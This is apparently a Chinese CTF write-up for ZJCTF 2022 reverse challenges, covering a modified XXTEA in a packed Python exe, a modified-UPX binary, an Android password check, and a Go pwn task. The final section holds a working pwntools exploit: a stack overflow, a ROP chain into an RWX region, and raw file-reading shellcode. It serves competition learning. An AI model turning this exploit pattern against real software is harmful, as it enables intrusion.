This page looks best with JavaScript enabled

ZJCTF 2022 Reverse WP

 ·  ☕ 5 min read · 👀... views

初赛

ManyCheck

第一个数是77

第二个和第三个数的平方要为3025和2401

第四个数高低16位交换后要为0x66744769

依次输入77 55 49 1198089844 后,得到flag

ezpy

python打包的exe,先用pyinstxtractor解包,将struct头16字节插入re头部修复pyc

这个pyc很邪门,加了花指令,使用uncompyle6去反编译会报错,提示 Parse error at or near `JUMP_ABSOLUTE’ instruction at offset 120_122,输出的Python汇编不完整,只有main的汇编,encrypt函数和XX函数均缺失,原因是encrypt函数中存在花指令导致反编译失败了。

幸好,经过上次defcon后知道了一个非常好用的pyc反编译项目 pycdc,使用pycdc反编译修复好的pyc,它甚至能得到python代码而不是python汇编

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from ctypes import *
import binascii

def encrypt(n, v, key):
    de = 1311062073
    ro = 6 + 52 // n
    total = c_uint32(0)
    z = c_uint32(v[n - 1])
    e = c_uint32(0)
    if ro > 0:
        total.value += de
        e.value = total.value >> 2 & 3
        for p in range(n - 1):
            y = c_uint32(v[p + 1])
            v[p] = c_uint32(v[p] + XX(z, y, total, key, p, e).value).value
            z.value = v[p]
        y = c_uint32(v[0])
        v[n - 1] = c_uint32(v[n - 1] + XX(z, y, total, key, n - 1, e).value).value
        z.value = v[n - 1]
        ro -= 1
        continue
    return v


def XX(z, y, total, key, p, e):
    xx = c_uint32((z.value >> 6 ^ y.value << 3) + (y.value >> 3 ^ z.value << 4) ^ (total.value ^ y.value) + key[p & 3 ^ e.value])
    return xx

if __name__ == '__main__':
    k = [
        4,
        3,
        2,
        1]
    n = 2
    xx = input('plz input your flag(DASCTF{*}):')
    vvalue = [
        722695011,
        893015348,
        0xFB586025,
        752171035,
        1118151735,
        0x916AAD6E,
        0xC3F6A656,
        0xA3E014EF]
    for i in range(1):
        if len(xx) != 40:
            print('error')
        else:
            xx = xx[7:39]
            comppare = []
            for i in range(0, 32, 8):
                value = []
                xxx = xx[i:i + 8]
                xxx1 = xxx[0:4].encode()
                xxx2 = xxx[4:].encode()
                hexvalue1 = binascii.b2a_hex(xxx1).decode()
                hexvalue2 = binascii.b2a_hex(xxx2).decode()
                value.append(int(hexvalue1, 16))
                value.append(int(hexvalue2, 16))
                res = encrypt(n, value, k)
                comppare.append(res[0])
                comppare.append(res[1])
            if comppare == vvalue:
                print('correct')
                continue
            print('error')
        return None

很明显,可以看到在encrypt函数内,出现了不符号Python语法的代码,即 if ro > 0: 块中出现了continue,而稍微阅读一下这个函数可以知道这里应该是 while ro > 0:,即,出题人故意的将这里的while修改为了if导致反编译器识别continue时出现无法找到循环体块而导致反编译失败。从输出的Python汇编中也可以发现这一点

接下来就是对着源码逆向了,阅读源码,发现是XXTEA的魔改,魔改了delta,round,XXTEA的model(去掉了最后的异或z),边界条件(大于等于魔改为了大于)

写出魔改后的解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import struct
from ctypes import c_uint32

def decrypt(n,v,key):
    de = 1311062073
    ro=6+52//n
    total=c_uint32(ro*de)
    e=c_uint32(0)
    y=c_uint32(v[0])
    z=c_uint32(0)

    while ro>0 :
        e.value=c_uint32(total.value>>2&3).value

        for p in range(n-1,0,-1):
            z=c_uint32(v[p-1])
            v[p]=c_uint32(v[p]-XX(z, y, total, key, p, e).value).value
            y=c_uint32(v[p])

        z=c_uint32(v[n-1])
        v[0]=c_uint32(v[0]-XX(z, y, total, key, 0, e).value).value
        y.value=v[0]
        total.value -= de
        ro=ro-1
    return v         



def XX(z, y, total, key, p, e):
    xx = c_uint32((z.value >> 6 ^ y.value << 3) + (y.value >> 3 ^ z.value << 4) ^ (total.value ^ y.value) + key[p & 3 ^ e.value])
    return xx
            
if __name__ == '__main__':
    k=[4,3,2,1]
    xvalue=[722695011,
        893015348,
        4216872997,
        752171035,
        1118151735,
        2439687534,
        3287721558,
        2749371631]
    
    devalue=[]
    for i in range(4):
        value=[]
        value.append(xvalue[i*2])
        value.append(xvalue[2*i+1])
        res=decrypt(2, value, k)
        devalue.append(res[0])
        devalue.append(res[1])

    print(devalue)

    flag = b""
    for i in range(8):
        flag += struct.pack(">I", devalue[i])

    print(flag)

得到flag DASCTF{xxt3444_1n_pyth3n_1s_e3sy_r1ght?}

复赛

EzMath2

魔改UPX壳,将UPX段名字改为了FUN,用010Editor将其名字修改为UPX可以直接 upx -d 脱壳,比赛的时候以为其他地方也有魔改就直接带壳调试了

无地址随机化。单步断点调试法找到关键函数sub_231410

发现存在反调,手动过一下或者SycalHide反反调插件。关键函数内存在push;ret花指令,分析栈结构发现与外层函数是同一个函数

将Call指令修改为jmp,patch掉花指令,重新识别函数结构,可以修复出该函数伪代码

这样逻辑就非常清晰了,对于奇数位异或7后减一,对于偶数位 57 * i) % 0x7F) & 0x7F,取余后再与应该不可逆向,所以进行爆破(爆破发现是唯一解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
cipher = [0x51, 0x51, 0x6B, 0x2F, 
  0x36, 0x34, 0x57, 0x47, 0x36, 0x70, 0x71, 0x7E, 0x61, 0x51, 
  0x74, 0x7B, 0x70, 0x46]

flag = []

def de_sub_231120(ans):
    l = []
    for i in range(33, 127):
        # i = ord(i)
        if ans == ( ( (57 * i) % 0x7F) & 0x7F):
            l.append(i)
    if len(l) == 1:
        return l[0]
    else:
        print( hex(ans), l )

for i in range(0, len(cipher), 2):
    flag.append( (cipher[i]+1)^7  )
    flag.append( de_sub_231120(cipher[i+1]) )
    print(flag)
print("".join( [chr(x) for x in  flag]) )

ezandroid

太傻逼了,模拟器装不上,flag图片直接明文资源保存在apk里

jadx打开,用户名ccadwjlyah,密码异或3左移2后要与compare数组相等

1
2
3
4
5
6
cipher = [404, 220, 436, 368, 220, 436, 412, 452, 432, 200, 412]

pwd = ""
for i in cipher:
    pwd += chr( (i>>2)^3 )
print(pwd)

解得密码f4n_4ndro1d,输入程序得到flag

GO-MAZE-v4

go语言pwn,对符号结构做了魔改,看不到符号,先输出了一个迷宫 按aswd走出迷宫,输入为 “ssssssssssddddddwwwwwwddddddwwddddwww”,提示 DO YOU WANNA THIS?\nflag ,根据字符串找到关键函数401305

接下来输入一个足够长的字符串程序崩溃,认为栈溢出。动调确定输入位置在该函数底部sub_4063E0,任意长度,无截断,可任意地址跳转。偏移长度为0x180

同时发现程序内申请了一块RWX权限空间0x123000,可将shellcode写到上面并跳转到该位置执行。getshell没有回显,ORW可以输出flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#-*- coding: UTF-8 -*
from pwn import *
FILE_NAME = "pwn"
IS_64 = True
if IS_64:
	context(arch="amd64",os="Linux")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
	context(arch="i386",os="Linux")
	libc = ELF("/lib/i386-linux-gnu/libc.so.6")

if len(sys.argv) < 2:
	sh = process("./"+FILE_NAME)
else:
	if ":" in sys.argv[1]:
		host, port = sys.argv[1].split(":")
		sys.argv[1] = host
		sys.argv.append(int(port))
	sh = remote(sys.argv[1], int(sys.argv[2]))
	# libc = ELF("libc-2.19.so")

context.log_level = "debug"
elf = ELF(FILE_NAME)


pop_rdi = 0x4008f6
pop_rsi = 0x40416f 
pop_rdx = 0x51d4b6 
sys_read = 0x51D780 


input()

# Input Map
map_str = "ssssssssssddddddwwwwwwddddddwwddddwww"
sh.sendline(map_str)
input("Send payload")

offset = 0x180
payload = offset*b'a' + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x123000) + p64(pop_rdx) + p64(0x100) + p64(sys_read) + p64(0x123000)
sh.sendlineafter("flag", payload)

input("Send Shellcode")
payload = '\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x66\x6c\x61\x67\x00'
sh.sendline(payload)

sh.interactive()
Share on

Qfrost
WRITTEN BY
Qfrost
CTFer, Anti-Cheater, LLVM Committer